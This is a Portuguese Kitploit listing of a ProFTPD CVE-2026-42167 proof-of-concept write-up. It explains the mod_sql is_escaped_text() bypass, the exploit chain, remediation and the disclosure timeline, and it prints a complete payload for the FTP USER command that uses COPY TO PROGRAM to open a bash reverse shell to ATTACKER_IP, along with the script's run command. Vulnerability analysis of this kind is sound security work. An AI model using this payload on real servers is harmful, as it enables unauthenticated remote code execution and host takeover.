Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42167-PoC — # RCE Pré-Autenticação no ProFTPD via bypass de is_escaped_text() no mod_sql (CVE-2026-42167) | Kitploit
Ferramentas/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

# RCE Pré-Autenticação no ProFTPD via bypass de is_escaped_text() no mod_sql (CVE-2026-42167)

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42167 POC

Execução Remota de Código Pré-Autenticação no ProFTPD via Injeção de SQL no mod_sql

Autor: Van Glenndon Enad

Descoberta Original: ZeroPath

Publicado: 1 de maio de 2026

Severidade: Crítica

Pontuação CVSS v3.1: 8.1

Vetor CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Pontuação CVSS v2: 7.6

Vetor CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (Injeção de SQL), CWE-78 (Injeção de Comandos do SO)


Índice

  1. Resumo Executivo
  2. Software Afetado
  3. Descrição da Vulnerabilidade
  4. Análise da Causa Raiz
  5. Pré-requisitos
  6. Cadeia de Exploração
  7. Análise do Payload
  8. Prova de Conceito
  9. Impacto
  10. Remediação
  • Referências
  • Cronograma de Divulgação

  • Resumo Executivo

    CVE-2026-42167 é uma vulnerabilidade crítica de injeção de SQL pré-autenticação no módulo de extensão mod_sql do ProFTPD. Uma falha lógica na função is_escaped_text() permite que um atacante não autenticado contorne o escape de caracteres SQL criando um comando USER cujo valor satisfaz uma heurística defeituosa de "já escapado". O SQL injetado é passado diretamente ao banco de dados backend via PQexec(), que suporta consultas empilhadas.

    Quando o papel do banco de dados do ProFTPD é um superusuário PostgreSQL — uma configuração incorreta comum em implantações conteinerizadas — a injeção alcança a diretiva COPY TO PROGRAM do PostgreSQL, resultando em Execução Remota de Código em nível de SO não autenticada como o usuário do sistema postgres. Nenhuma credencial, nenhum acesso prévio e nenhuma interação do usuário são necessários.


    Software Afetado

    ComponenteVersão
    ProFTPD≤ 1.3.9
    Módulomod_sql + mod_sql_postgres
    Versão Corrigida1.3.9a (lançada em 27 de abril de 2026)
    BackendPostgreSQL (RCE); MySQL / SQLite (apenas bypass de autenticação)

    O ProFTPD é um servidor FTP de código aberto amplamente implantado. De acordo com o Shodan, existem mais de 160.000 instâncias do ProFTPD publicamente acessíveis na internet. O módulo mod_sql é comumente habilitado em painéis de controle de hospedagem compartilhada, incluindo cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.


    Descrição da Vulnerabilidade

    O módulo mod_sql do ProFTPD suporta autenticação e registro de atividades baseados em SQL. As strings de formato de log podem incluir variáveis de substituição como %U (nome de usuário), %r (host remoto) e %m (comando FTP). Essas variáveis são expandidas em tempo de execução e inseridas em consultas SQL executadas contra o backend configurado.

    Uma configuração vulnerável típica:

    root@kitploit:~
    LoadModule mod_sql.c
    LoadModule mod_sql_postgres.c
    
    SQLEngine on
    SQLBackend postgres
    SQLAuthTypes Plaintext
    SQLConnectInfo dbname@localhost dbuser dbpassword
    SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
    SQLLog * log_activity
    SQLLog ERR_* log_activity
    

    Nesta configuração, o valor fornecido no comando FTP USER é substituído por %U e incluído diretamente em uma instrução SQL INSERT. Antes da inserção, o valor é passado por is_escaped_text() para determinar se precisa de escape. Esta função contém uma falha lógica crítica.


    Análise da Causa Raiz

    A Função Defeituosa is_escaped_text()

    Localizada em contrib/mod_sql.c, a função aplica a seguinte heurística para decidir se uma string está "já escapada":

    root@kitploit:~
    static int is_escaped_text(const char *s) {
      size_t slen = strlen(s);
    
      /* Assume que a string está escapada se:
       *   1. Começa com aspas simples
       *   2. Termina com aspas simples
       *   3. Não contém aspas simples internas
       */
      if (slen >= 2 &&
          s[0] == '\'' &&
          s[slen - 1] == '\'' &&
          strchr(s + 1, '\'') == (s + slen - 1)) {
        return TRUE;  /* pular escape */
      }
      return FALSE;
    }
    

    Quando esta função retorna TRUE, sql_resolved_append_text() (linha 777) insere o valor bruto, sem escape, diretamente na string da consulta. O valor é então executado por PQexec() em contrib/mod_sql_postgres.c (linha 1146), que suporta consultas empilhadas (multi-instruções).

    Por Que a Heurística Falha

    A heurística provavelmente foi projetada para detectar strings que já estavam cercadas por delimitadores de string SQL. No entanto, ela não faz nenhuma tentativa de verificar se o conteúdo interno é seguro — apenas que não há aspas simples adicionais presentes. Isso significa que qualquer payload que:

    • Comece com '
    • Termine com '
    • Use nenhuma aspas simples internamente (por exemplo, use a citação por dólar $$ do PostgreSQL)

    ...passará na verificação e será injetado literalmente na consulta SQL.

    Fluxo de Injeção

    root@kitploit:~
    Cliente FTP                ProFTPD                  PostgreSQL
        │                         │                         │
        │── USER '<payload>'  ──▶ │                         │
        │                         │ expandir %U = '<payload>' │
        │                         │ is_escaped_text() = TRUE│
        │                         │ pular escape            │
        │                         │── INSERT INTO activity  │
        │                         │   VALUES ('<payload>',  │
        │                         │   ...) ──────────────▶  │
        │                         │                         │ executar SQL empilhado
        │                         │                         │ COPY TO PROGRAM
        │                         │                         │── comando shell ──▶ SO
    

    Pré-requisitos

    RequisitoObservações
    mod_sql habilitado com registro SQLDeve registrar uma variável pré-autenticação como %U
    Backend PostgreSQLNecessário para RCE via COPY TO PROGRAM; MySQL/SQLite ainda permitem bypass de autenticação
    Papel do banco de dados é superusuário PostgreSQLCOPY TO PROGRAM é restrito a superusuários ou membros de pg_execute_server_program
    bash disponível no host do banco de dadosNecessário para entrega de reverse shell via /dev/tcp
    Acessibilidade de redeO contêiner PostgreSQL deve ser capaz de alcançar o atacante na porta do listener

    A condição de superusuário é frequentemente atendida em implantações conteinerizadas onde o usuário do banco de dados do ProFTPD é criado via POSTGRES_USER=... na imagem Docker oficial do PostgreSQL, ou quando um administrador concede ao papel do ProFTPD a propriedade do banco de dados.


    Cadeia de Exploração

    root@kitploit:~
    Passo 1: Atacante envia comando USER elaborado (pré-autenticação, sem credenciais)
            │
            ▼
    Passo 2: ProFTPD expande %U com valor controlado pelo atacante
            │
            ▼
    Passo 3: Bypass de is_escaped_text() — SQL bruto passa sem escape
            │
            ▼
    Passo 4: PQexec() executa consulta empilhada contra o PostgreSQL
            │
            ▼
    Passo 5: COPY TO PROGRAM executa comando shell do atacante como usuário do SO postgres
            │
            ▼
    Passo 6: Reverse shell / exfiltração de arquivos entregue ao atacante
    

    Análise do Payload

    O payload de injeção é entregue via comando FTP USER:

    root@kitploit:~
    USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
    

    Verificação da Condição de Bypass

    CondiçãoSatisfeita?Motivo
    Começa com '✅Primeiro caractere é '
    Termina com '✅Último caractere é '
    Sem aspas simples internas✅Strings internas usam citação por dólar $$

    Detalhamento do Payload

    SegmentoFinalidade
    ', null, null);Fecha a instrução INSERT original de forma limpa
    COPY (SELECT $$x$$) TO PROGRAMConsulta empilhada usando COPY TO PROGRAM do PostgreSQL
    $$bash -c ...$$Comando shell usando citação por dólar $$ para evitar aspas simples
    ; --'Termina a consulta empilhada; --' comenta o restante e fornece o ' de fechamento para o bypass

    Prova de Conceito

    Aviso: Este PoC é fornecido apenas para fins educacionais e de testes autorizados. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito.

    Exemplo de Uso:

    root@kitploit:~
    python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
    

    Impacto

    CategoriaDescrição
    ConfidencialidadeAcesso total de leitura ao sistema de arquivos como o usuário do SO postgres
    IntegridadeCapacidade de escrever arquivos, modificar conteúdos do banco de dados, instalar backdoors
    DisponibilidadeInterrupção de serviço, destruição de dados possível
    AutenticaçãoExplorável com zero credenciais pré-autenticação
    EscopoEstende-se além do ProFTPD para o host PostgreSQL subjacente

    Qualquer sistema onde o ProFTPD esteja co-localizado com ou tenha acesso de superusuário a uma instância PostgreSQL está em risco de comprometimento total do host. Movimento lateral para sistemas adjacentes e persistência via cron jobs ou injeção de chaves SSH são trivialmente alcançáveis pós-exploração.


    Remediação

    Ação Imediata

    • Atualize o ProFTPD para a versão 1.3.9a ou posterior — a correção corrige is_escaped_text() com tratamento adequado de consultas parametrizadas

    Se a Atualização Não For Imediatamente Possível

    • Desative completamente o registro baseado em mod_sql (remova as diretivas SQLLog)
    • Remova variáveis de registro pré-autenticação (%U, %r, %m) das definições de SQLNamedQuery

    Defesa em Profundidade

    • Garanta que o papel do banco de dados do ProFTPD não seja um superusuário PostgreSQL (princípio do menor privilégio)
    • Restrinja o papel do banco de dados apenas a INSERT na tabela de log e SELECT na tabela de autenticação
    • Coloque ProFTPD e PostgreSQL em segmentos de rede separados quando possível
    • Monitore logs FTP para comandos USER contendo aspas simples, COPY, PROGRAM ou palavras-chave SQL

    Cronograma de Divulgação

    DataEvento
    28 de março de 2026Vulnerabilidade relatada aos mantenedores do ProFTPD
    7 de abril de 2026Verificação do patch iniciada
    24 de abril de 2026CVE-2026-42167 atribuído
    27 de abril de 2026Correção confirmada; ProFTPD 1.3.9a lançado
    28 de abril de 2026Publicado no NVD
    28–29 de abril de 2026Repositórios públicos de PoC publicados no GitHub
    1 de maio de 2026Análise independente e PoC simplificado publicado

    Referências

    • NVD — CVE-2026-42167
    • Blog de Pesquisa ZeroPath — CVE-2026-42167 Bypass de Autenticação e RCE no ProFTPD
    • ZeroPathAI — Repositório Oficial de PoC
    • dinosn — Análise Independente da Causa Raiz
    • ProFTPD Issue #2052 — Injeção de SQL via mod_sql is_escaped_text
    • CVEFeed.io — CVE-2026-42167

    Aviso Legal: Esta análise e prova de conceito são publicadas estritamente para fins educacionais, de pesquisa e de segurança defensiva. O autor não endossa acesso não autorizado a sistemas de computador. Sempre obtenha permissão explícita por escrito antes de realizar testes de segurança contra qualquer sistema que você não possua.

    Baixar ferramenta